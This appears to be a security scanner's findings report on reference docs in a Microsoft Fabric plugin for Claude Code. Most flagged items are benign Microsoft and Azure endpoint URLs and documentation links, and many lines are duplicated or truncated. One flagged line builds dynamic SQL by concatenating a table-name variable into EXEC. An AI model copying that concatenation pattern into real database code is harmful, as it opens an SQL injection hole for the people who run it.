    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-CONSUMPTION-CORE.md

  • Network accessline 49
    **Base URL**: `https://onelake.table.fabric.microsoft.com`
  • Network accessline 51
    **Authentication**: **Storage token** with audience `https://storage.azure.com` (NOT Fabric API tokens)
  • Network accessline 59
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/schemas?catalog_name={lakehouseName}.Lakehouse
  • Network accessline 81
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables?catalog_name={lakehouseName}.Lakehouse&schema_name=dbo
  • Network accessline 91
    "schema_name": "dbo",       "data_source_format": "DELTA",       "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"
  • Network accessline 92
    "data_source_format": "DELTA",       "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"     }
  • Network accessline 93
    "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"
  • Network accessline 104
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables/{lakehouseName}.Lakehouse.dbo.{tableName}
  • Network accessline 113
    https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/...

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-MONITORING-CORE.md

  • Network accessline 16
    https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/{itemType}/{itemId}/livySessions/{livyId}/applications/{appId}/...
  • Network accessline 83
    These APIs follow the same contract as [Spark open-source monitoring REST API](https://spark.apache.org/docs/latest/monitoring.html#rest-api). They provide access to jobs, stages, tasks, executors, SQL queries, and event logs.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-NOTEBOOK-AUTHORING-CORE.md

  • Network accessline 32
    | Local | [context-resolution.md](notebook-authoring/context-resolution.md) | lighter-config.json, ipynb metadata, workspace ID resolution, lakehouse ID lookup, artifact discovery (**VS Code only**) | | Local | [context-and-params.md](noteb
  • Network accessline 33
    | Local | [context-and-params.md](notebook-authoring/context-and-params.md) | runtime.context, notebook parameters, pipeline parameters, Variable Library, getLibrary, %%configure defaultLakehouse, environment config | | Fetch | [notebookuti
  • Network accessline 34
    | Fetch | [notebookutils.runtime](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) | `notebookutils.runtime.context` properties, currentNotebookName, currentWorkspaceId, defaultLakehouseId, isFo
  • Network accessline 35
    | Fetch | [notebookutils.variableLibrary](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library) | `getLibrary()`, `get()` by reference path, centralized config, value sets, environment-speci
  • Network accessline 36
    | Fetch | [Author & Execute notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook) | `%%configure` (session config, defaultLakehouse, mountPoints, environment), `%run` (reference run a notebook or scri
  • Network accessline 44
    | Local | [lakehouse-paths.md](notebook-authoring/lakehouse-paths.md) | ABFSS path construction, relative path (`Files/`, `Tables/`), OneLake endpoint, default lakehouse mount `/lakehouse/default/`, workspace/lakehouse GUID in path, path fo
  • Network accessline 45
    | Local | [lakehouse-tables.md](notebook-authoring/lakehouse-tables.md) | Spark SQL table reference, two-part/three-part/four-part dotted name, backtick escaping, SHOW TABLES/SCHEMAS, CREATE/INSERT/MERGE, Delta time travel (`VERSION AS OF`,
  • Network accessline 46
    | Fetch | [Lakehouse overview](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-overview) | lakehouse vs warehouse, SQL analytics endpoint, auto table discovery, Tables vs Files folder, capabilities overview |
  • Network accessline 47
    | Fetch | [Lakehouse schemas](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-schemas) | schema-enabled lakehouse, four-part name (`workspace.lakehouse.schema.table`), cross-workspace Spark SQL, schema shortcuts, namespa
  • Network accessline 48
    | Fetch | [Delta Lake tables](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-and-delta-tables) | Delta format defaults, managed vs unmanaged tables, Spark config for Delta, shortcuts with Delta tables |
  • Network accessline 49
    | Fetch | [Load data with notebook](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data) | `spark.read` / `spark.write`, Pandas API on Spark, relative vs ABFSS paths, `saveAsTable`, `df.write.format("delta
  • Network accessline 50
    | Fetch | [OneLake shortcuts](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-shortcuts) | internal/external shortcuts, ADLS Gen2, S3, GCS, cross-workspace data access, shortcut limitations for cp/fastcp |
  • Network accessline 51
    | Fetch | [Data ingestion comparison](https://learn.microsoft.com/en-us/fabric/data-engineering/load-data-lakehouse) | decision guide for ingestion method: notebooks, pipelines, dataflows, shortcuts, COPY INTO — read when choosing an approa
  • Network accessline 57
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `hea
  • Network accessline 58
    |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` —
  • Network accessline 59
    | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — file/director
  • Network accessline 60
    | Fetch | [notebookutils.fs mount](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-mount) | `mount`, `unmount`, `mounts`, `getMountPath` — attach ADLS Gen2/Blob/Lakehouse as local mount points, accountK
  • Network accessline 67
    |---|---|---| | Local | [connections.md](notebook-authoring/connections.md) | `notebookutils.credentials` for external services — getSecret (Key Vault), getToken (Entra), Azure SDK credential wrapper, connection code for PostgreSQL, MySQL, 
  • Network accessline 69
    | Fetch | [notebookutils.credentials](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) | `getToken` (audience: storage, pbi, keyvault, kusto), `getSecret` (Key Vault endpoint + secret name),
  • Network accessline 75
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithPr
  • Network accessline 76
    |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `l
  • Network accessline 77
    | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `listTables`, `l
  • Network accessline 78
    | Fetch | [notebookutils.notebook CRUD](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-management) | `create` (with .ipynb content, defaultLakehouse), `get`, `getDefinition`, `update`, `update
  • Network accessline 84
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, para
  • Network accessline 85
    |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (
  • Network accessline 86
    | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (parallel execu
  • Network accessline 87
    | Fetch | [notebookutils.session](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-session-management) | `stop()` (stop interactive session, release resources — **never call in pipeline mode**), `restart
  • Network accessline 95
    | Local | [notebook-resources.md](notebook-authoring/notebook-resources.md) | `builtin/` folder, `env/` folder, `notebookutils.nbResPath`, `file:` prefix, small file embedding, resource folder path resolution, reference run resource access 
  • Network accessline 96
    | Local | [library-mgmt.md](notebook-authoring/library-mgmt.md) | `%pip install` vs `!pip`, Environment artifact, custom wheel upload, `restartPython()` after install, built-in library list, runtime version check, Full/Quick publish mode | 
  • Network accessline 97
    | Fetch | [Manage Spark libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) | `%pip`/`%conda` inline install, library precedence, pipeline library install considerations, session-scoped vs environment-sc
  • Network accessline 98
    | Fetch | [Environment libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) | Quick mode (5s publish) vs Full mode (stable snapshot), PyPI/Conda/Maven/custom .whl/.jar, publish mode selection, Ful
  • Network accessline 104
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary v
  • Network accessline 106
    | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary view), `displayHTML()` (D3.js, custom HTML), `powerbicli
  • Network accessline 112
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `V
  • Network accessline 113
    |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.m
  • Network accessline 114
    | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.microsoft.delta
  • Network accessline 115
    | Fetch | [Table compaction](https://learn.microsoft.com/en-us/fabric/data-engineering/table-compaction) | bin compaction, small file problem diagnosis, compaction patterns, `OPTIMIZE WHERE` |
  • Network accessline 116
    | Fetch | [Tune file size](https://learn.microsoft.com/en-us/fabric/data-engineering/tune-file-size) | `spark.microsoft.delta.targetFileSize`, partitioned table tuning, write performance vs read performance trade-offs |
  • Network accessline 117
    | Fetch | [Resource profiles](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations) | `writeHeavy`, `readHeavyForPBI`, `readHeavyForSpark`, custom profile config, when to apply which profile |
  • Network accessline 121
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versio
  • Network accessline 122
    |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | |
  • Network accessline 123
    | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list |
  • Network accessline 124
    | Fetch | [Native Execution Engine](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) | Velox-based execution, performance boost, enable/disable via `spark.native.enabled`, supported operators, fall
  • Network accessline 125
    | Fetch | [High Concurrency mode](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-high-concurrency-session-notebooks) | share Spark session across notebooks, session isolation, conditions for sharing, pipeline high concu
  • Network accessline 126
    | Fetch | [Environment compute](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-compute) | node size (Small/Medium/Large/XL/XXL), driver/executor core and memory config, Spark properties in Environment artifact 
  • Network accessline 127
    | Fetch | [Spark best practices](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-best-practices-development-monitoring) | development patterns, runtime selection, High Concurrency tips, monitoring and diagnostics, MLV organi
  • Network accessline 132
    |---|---|---| | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit
  • Network accessline 133
    | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit-learn, PyTorc
  • Network accessline 134
    | Fetch | [MLflow autologging](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog configuration, disable autologging, custom metric logging |
  • Network accessline 135
    | Fetch | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | create experiment, compare runs, search runs, track training iterations |
  • Network accessline 136
    | Fetch | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | register model, version model, model registry, model lineage |
  • Network accessline 137
    | Fetch | [Model training overview](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML, SynapseML, scikit-learn, PyTorch, XGBoost — framework comparison and selection |
  • Network accessline 138
    | Fetch | [PREDICT function](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | batch scoring with MLFlowTransformer, Spark SQL `PREDICT`, UDF-based scoring |
  • Network accessline 143
    |---|---|---| | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | 
  • Network accessline 144
    | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | [notebookutils
  • Network accessline 145
    | Fetch | [notebookutils.udf](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-user-data-function) | `getFunctions()` (retrieve UDF item functions), invoke functions with positional/named params, `itemDe
  • Network accessline 146
    | Fetch | [T-SQL notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-tsql-notebook) | T-SQL cells, set primary warehouse, cross-warehouse three-part naming queries, limitations (no parameter cell, no SPN support) |
  • Network accessline 147
    | Fetch | [NotebookUtils overview](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities) | full module list, general `notebookutils.help()`, getting started with NotebookUtils |
  • Network accessline 148
    | Fetch | [MSSparkUtils (legacy)](https://learn.microsoft.com/en-us/fabric/data-engineering/microsoft-spark-utilities) | `mssparkutils` backward compatibility reference — **deprecated, use `notebookutils` instead** |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-AUTHORING-CORE.md

  • Network accessline 59
    **Summary**: SQL Database offers most of the Azure SQL Database T-SQL surface (OLTP-optimized, row-store, enforced constraints, triggers, temporal tables, vectors, IQP, external tables, AI functions — see [limitations](https://learn.microso
  • Network accessline 71
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 97
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases
  • Network accessline 127
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/restorableDeletedDatabases
  • Network accessline 135
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases
  • Network accessline 723
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 789
    Replication of a Fabric SQL database to its SQL analytics endpoint (OneLake Delta tables) is **automatic and managed by the platform** — there is no start/stop mirroring REST operation on the SQLDatabase item. The [SQLDatabase Items REST su
  • Network accessline 791
    > **Sources**: [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations), [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations).
  • Network accessline 797
    > **Sources**: [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations), [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations).
  • Dangerous shell operationline 978
    EXEC('SELECT * FROM ' + @tableName);
  • Network accessline 1032
    > **REST API reference**: [SQL Audit Settings API](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/sql-audit-settings)
  • Network accessline 1039
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit
  • Network accessline 1047
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit
  • Network accessline 1074
    > **REST API reference**: [Revalidate CMK](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/items/revalidate-cmk)
  • Network accessline 1079
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/revalidateCMK

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-CONSUMPTION-CORE.md

  • Network accessline 40
    | **Supported identities** | Users, service principals, Entra groups | Users, service principals, Entra groups | | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://da
  • Network accessline 41
    | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | | **Collation** | `SQL_Latin1_General_CP1_CI_AS` (case-insensitive) | Workspace de
  • Network accessline 42
    | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` |
  • Network accessline 58
    SQL database in Fabric uses the **Azure SQL Database engine**, so it supports most of the Azure SQL T-SQL surface (see [limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations) for exceptions). Key areas for consumpti

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-AUTHORING-CORE.md

  • Network accessline 67
    AS SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 67
    AS SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 68
    SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data;
  • Network accessline 68
    SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data;
  • Network accessline 69
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 69
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 287
    -- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 287
    -- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 288
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET');
  • Network accessline 288
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET');
  • Network accessline 289
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 289
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 292
    -- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 292
    -- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 293
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH (
  • Network accessline 293
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH (
  • Network accessline 294
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 294
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 300
    -- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 300
    -- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 301
    COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE');
  • Network accessline 301
    COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE');
  • Network accessline 302
    FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 302
    FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 323
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 323
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 330
    CAST(sale_date AS date) AS SaleDate FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 330
    CAST(sale_date AS date) AS SaleDate FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 331
    FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw
  • Network accessline 331
    FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw
  • Network accessline 332
    BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 332
    BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 338
    BULK 'https://storage.dfs.core.windows.net/container/data.csv',
  • Network accessline 338
    BULK 'https://storage.dfs.core.windows.net/container/data.csv',
  • Network accessline 346
    BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'
  • Network accessline 346
    BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-CONSUMPTION-CORE.md

  • Network accessline 48
